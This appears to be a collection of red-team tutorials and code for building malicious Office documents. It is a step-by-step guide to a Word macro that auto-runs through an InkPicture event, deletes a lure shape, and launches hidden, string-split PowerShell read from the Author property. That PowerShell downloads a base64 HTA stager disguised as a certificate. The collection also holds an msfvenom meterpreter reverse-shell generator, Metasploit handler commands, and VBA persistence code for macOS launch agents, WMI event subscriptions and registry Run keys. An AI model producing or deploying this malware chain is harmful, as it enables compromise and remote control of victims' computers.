Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
If Once < 1 Then
Launch
End If
Once = Once + 1
End Sub
```
Since the `Painted` event will be triggered several times, we want to avoid situation of having several stagers popped on the target machine.
---
4. Then, add pretext shape enticing victim to enable editing/macros - having that, insert a function that will delete this shape after victim really enable macros.
For example of such shape - you can refer to one of my [repos](https://github.com/mgeeky/RobustPentestMacro).
**NOTICE**: Make sure to put the OLE Control in the topmost left corner of the document and to color that control (right click -> Propertied -> Color) so it will overlap visually with Pretext-shape.
The trick is to make the victim move the mouse over that OLE control after enabling macros (making it trigger `Painted` event in the background).
The function that will delete this and OLE object shapes after enabling macros is placed below:
```
Public Sub Launch()
On Error Resume Next
DeleteWarningShape "warning-div", True
DeleteWarningShape "Control 2", True
...
End Sub
Private Sub DeleteWarningShape(ByVal textBoxName As String, ByVal saveDocAfter As Boolean)
Dim shape As Word.shape
On Error Resume Next
For Each shape In ActiveDocument.Shapes
If StrComp(shape.Name, textBoxName) = 0 Then
shape.Delete
Exit For
End If
Next
If saveDocAfter Then
ActiveDocument.Save
End If
End Sub
```
---
5. Now, add code obtaining malicious _Powershell_ commands from _Author_ document's property and passing it to the _Powershell's_ `StdIn` stream:
```
Public Sub Launch()
On Error Resume Next
DeleteWarningShape "warning-div", True
DeleteWarningShape "Control 2", True
Dim authorProperty As String
authorProperty = ActiveDocument.BuiltInDocumentProperties("Author")
Set objWShell = CreateObject("WScr" & "ipt.S" & "hell")
With objWShell.Exec("powe" & "rsh" & "ell.exe -no" & "p -w" & "indowstyle hid" & "den -Com" & "mand -")
.StdIn.WriteLine authorProperty
.StdIn.WriteBlankLine 1
.Terminate
End With
```
Of course, having that - you will have to remember to add proper Powershell command to be executed right into _Author_ property of the Word file.
---
6. Now, we have to insert some code into that _Author_ property. This code should do the following:
- Download Base64 encoded `encoded.crt` file containing malicious HTA code.
- Use `certutil -decode encoded.crt out.hta` command that will strip that Base64 layer.
- Make entire powershell code that shall be placed in _Author_ property Unicode-Base64 encoded in such a way, that Powershell's `-EncodedCommand` will be able to process.
The following code can be use as an example:
```
powershell -ep bypass -Command "(new-object Net.WebClient).DownloadFile('http://192.168.56.101/encoded.crt','%TEMP%\encoded.crt');certutil -decode %TEMP%\encoded.crt %TEMP%\encoded.hta;start %TEMP%\encoded.hta"
```
Here, the file will be obtained from `http://192.168.56.101/encoded.crt` - of course, one will want to move that file into HTTPS webserver having some luring domain name.
This command can be then converted into Powershell-supported Base64 payload like so:
```
C:\Users\IEUser\Desktop\files\dl>powershell -ep bypass -command "[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(\"(new-object Net.WebClient).DownloadFile('http://192.168.56.101/encoded.crt','%TEMP%\encoded.crt');certutil -decode %TEMP%\encoded.crt %TEMP%\encoded.hta;start %TEMP%\encoded.hta\"))"
KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADUANgAuADEAMAAxAC8AZQBuAGMAbwBkAGUAZAAuAGMAcgB0ACcALAAnAEMAOgBcAFUAcwBlAHIAcwBcAEkARQBVAHMAZQByAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAG4AYwBvAGQAZQBkAC4AYwByAHQAJwApADsAYwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAEkARQBVAHMAZQByAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAG4AYwBvAGQAZQBkAC4AYwByAHQAIABDADoAXABVAHMAZQByAHMAXABJAEUAVQBzAGUAcgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAZQBuAGMAbwBkAGUAZAAuAGgAdABhADsAcwB0AGEAcgB0ACAAQwA6AFwAVQBzAGUAcgBzAFwASQBFAFUAcwBlAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbgBjAG8AZABlAGQALgBoAHQAYQA=
```
Now this code is to be placed into _Author_ property.
---
7. Now, in order to generate that `encoded.crt` file - go for the following steps:
- Step 1: Using `msfvenom` generate malicious HTA file
- Step 2: Convert that payload into Base64-encoded certificate file.
In order to automate above steps - you can use the below script:
```
#!/bin/bash
# --- PAYLOAD SETUP
LHOST=192.168.56.101
LPORT=4444
PAYLOAD=windows/meterpreter/reverse_tcp
# This file must have *.crt extension
OUTPUT_FILE=/var/www/html/encoded.crt
PAYLOAD_FILE=/tmp/test$RANDOM
# ----
msfvenom -f hta-psh -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -o $PAYLOAD_FILE
echo -----BEGIN CERTIFICATE----- > $OUTPUT_FILE
cat $PAYLOAD_FILE | base64 -w 0 >> $OUTPUT_FILE
echo -----END CERTIFICATE----- >> $OUTPUT_FILE
chown www-data:www-data $OUTPUT_FILE 2> /dev/null
echo "Generated file: $OUTPUT_FILE"
```
And Voila! You will have your `encoded.crt` file in webroot.
---
8. After that you can add some persistence methods and further fail-proof the Macro code. For a nice example of persistence method - the `WMIPersistence` method can be used:
[WMIPersistence](https://gist.github.com/mgeeky/d00ba855d2af73fd8d7446df0f64c25a)
---
9. After that, you will want to make the entire VBA macro code become obfuscated to further slow down analysis process.
The obfuscation can easily be pulled off using my [VisualBasicObfuscator](https://github.com/mgeeky/VisualBasicObfuscator)
---
## ENTIRE MACRO CAN LOOK LIKE THIS:
(without persistence method)
```
Public Once As Integer
Public Sub Launch()
On Error Resume Next
DeleteWarningShape "warning-div", False
DeleteWarningShape "Control 2", False
Dim authorProperty As String
authorProperty = ActiveDocument.BuiltInDocumentProperties("Author")
Set objWShell = CreateObject("WScr" & "ipt.S" & "hell")
With objWShell.Exec("powe" & "rsh" & "ell.exe -no" & "p -w" & "indowstyle hid" & "den -Com" & "mand -")
.StdIn.WriteLine authorProperty
.StdIn.WriteBlankLine 1
.Terminate
End With
End Sub
Private Sub DeleteWarningShape(ByVal textBoxName As String, ByVal saveDocAfter As Boolean)
Dim shape As Word.shape
On Error Resume Next
For Each shape In ActiveDocument.Shapes
If StrComp(shape.Name, textBoxName) = 0 Then
shape.Delete
Exit For
End If
Next
If saveDocAfter Then
ActiveDocument.Save
End If
End Sub
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
If Once < 1 Then
Launch
End If
Once = Once + 1
End Sub
```

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use exploit/multi/handler
setg PAYLOAD windows/x64/meterpreter/reverse_https
setg LHOST <ATTACKER-IP>
setg LPORT 443
setg VERBOSE true
setg ExitOnSession false
setg Powershell::sub_funcs true
setg Powershell::sub_vars true
setg EnableStageEncoding true
setg StagerRetryCount 30
setg StagerRetryWait 10
exploit -j
use exploit/multi/script/web_delivery
set TARGET 2
set SRVPORT 8080
set SSL true
set URIPATH msf
set DisablePayloadHandler true
exploit -j

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#If VBA7 Then
' 64-bit Mac (2016)
Private Declare PtrSafe Function system Lib "libc.dylib" Alias "system" _
(ByVal command As String) As Long
Private Declare PtrSafe Function fopen Lib "libc.dylib" Alias "fopen" _
(ByVal file As String, ByVal mode As String) As LongPtr
Private Declare PtrSafe Function fputs Lib "libc.dylib" Alias "fputs" _
(ByVal str As String, ByVal file As LongPtr) As Long
Private Declare PtrSafe Function fclose Lib "libc.dylib" Alias "fclose" _
(ByVal file As LongPtr) As Long
#Else
' 32-bit Mac
Private Declare Function system Lib "libc.dylib" Alias "system" _
(ByVal command As String) As Long
Private Declare Function fopen Lib "libc.dylib" Alias "fopen" _
(ByVal file As String, ByVal mode As String) As Long
Private Declare Function fputs Lib "libc.dylib" Alias "fputs" _
(ByVal str As String, ByVal file As Long) As Long
Private Declare Function fclose Lib "libc.dylib" Alias "fclose" _
(ByVal file As Long) As Long
#End If
Sub writeToFile(ByVal file As String, ByVal txt As String)
#If Mac Then
#If VBA7 Then
Dim fp As LongPtr
#Else
Dim fp As Long
#End If
Dim grants
grants = Array(file)
GrantAccessToMultipleFiles(grants)
' BUG: fopen will return 0 here.
fp = fopen(file, "w")
If fp = 0 Then: Exit Sub
fputs txt, fp
fclose(fp)
#End If
End Sub
Sub MacPersistence(ByVal cmd As String, ByVal taskName As String)
Dim plist As String
plist = "<?xml version=""1.0"" encoding=""UTF-8""?>\n"
plist = plist & "<!DOCTYPE plist PUBLIC ""-//Apple Computer//DTD "
plist = plist & "PLIST 1.0//EN"" ""http://www.apple.com/DTDs/plist"
plist = plist & " = plist & PropertyList-1.0.dtd"">\n"
plist = plist & "<plist version=""1.0"">\n
plist = plist & "<dict>\n"
plist = plist & " <key>Label</key>\n"
plist = plist & " <string>" & taskName & "</string>\n"
plist = plist & " <key>ProgramArguments</key>\n"
plist = plist & " <array>\n"
plist = plist & " <string>/bin/bash</string>\n"
plist = plist & " <string>-c</string>\n"
plist = plist & " <string>'" & cmd & "'</string>\n"
plist = plist & " </array>\n"
plist = plist & " <key>RunAtLoad</key>\n"
plist = plist & " <true/>\n"
plist = plist & " <key>KeepAlive</key>\n"
plist = plist & " <true/>\n"
plist = plist & "</dict>\n"
plist = plist & "</plist>\n"
' TODO: File writing does not work at the moment, most likely due to
' apps sandboxing mechanism enforced by the system.
' Approach #1: File write by system command
' system("echo -e """ & plist & """ > ~/Library/LaunchAgents/" & taskName)
' Approach #2: File write by fopen+fputs+fclose
Dim fileName As String
fileName = "~/Library/LaunchAgents/" & taskName & ".plist"
writeToFile fileName, plist
End Sub
Sub TestMacPersistence()
MacPersistence "/Applications/Calculator.app/Contents/MacOS/Calculator", "com.java.update"
End Sub

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'
' SYNOPSIS:
' This macro implements two windows persistence methods:
' - WMI Event Filter object creation
' - simple HKCU Registry Run value insertion. It has to be HKCU to make it work under Win10 x64
'
' WMI Persistence method as originally presented by SEADADDY malware
' (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887)
' and further documented by Matt Graeber.
'
' The scheduled command will be launched after roughly 3 minutes since system
' gets up. Also, even if the command shall spawn a window - it will not be visible,
' since the command will get invoked by WmiPrvSE.exe that's running in Session 0.
'
' USAGE:
' WindowsPersistence("command to be launched", "taskName")
'
' EXAMPLE:
' WindowsPersistence "powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater"
'
' AUTHOR:
' Mariusz B. / mgeeky, '17
'
Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
Dim filterName, consumerName As String
Dim objLocator, objService1
Dim objInstances1, objInstances2, objInstances3
Dim newObj1, newObj2, newObj3
On Error GoTo Failed
filterName = taskName & "Event"
consumerName = taskName & "Consumer"
Set objLocator = CreateObject("WbemScripting.SWbemLocator")
Set objService1 = objLocator.ConnectServer(".", "root\subscription")
'
' Step 1: Set WMI Instance of type Event Filter
'
Set objInstances1 = objService1.Get("__EventFilter")
' The malware originally will kicks in after roughly 3 minutes since System gets up.
' One can modify this delay time by modifying the WHERE clausule of the below query.
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _
& "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _
& "AND TargetInstance.SystemUpTime >= 200 AND " _
& "TargetInstance.SystemUpTime < 320"
' New object of type __EventFilter
Set newObj1 = objInstances1.Spawninstance_
newObj1.Name = filterName
newObj1.eventNamespace = "root\cimv2"
newObj1.QueryLanguage = "WQL"
newObj1.Query = Query
newObj1.Put_
'
' Step 2: Set WMI instance of type: CommandLineEventConsumer
'
Set objInstances2 = objService1.Get("CommandLineEventConsumer")
Set newObj2 = objInstances2.Spawninstance_
newObj2.Name = consumerName
newObj2.CommandLineTemplate = exePath
newObj2.Put_
'
' Step 3: Set WMI instance of type: Filter To Consumer Binding
'
Set objInstances3 = objService1.Get("__FilterToConsumerBinding")
Set newObj3 = objInstances3.Spawninstance_
newObj3.Filter = "__EventFilter.Name=""" & filterName & """"
newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """"
newObj3.Put_
WMIPersistence = True
Exit Function
Failed:
WMIPersistence = False
End Function
Public Function RegistryPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
On Error GoTo Failed
Const HKEY_CURRENT_USER = &H80000001
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Run"
strComputer = "."
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
strValueName = taskName
strValue = exePath
objReg.SetExpandedStringValue HKEY_CURRENT_USER, strKeyPath, strValueName, strValue
RegistryPersistence = True
Exit Function
Failed:
RegistryPersistence = False
End Function
Public Function WindowsPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
If WMIPersistence(exePath, taskName) <> True Then
RegistryPersistence exePath, taskName
End If
End Function

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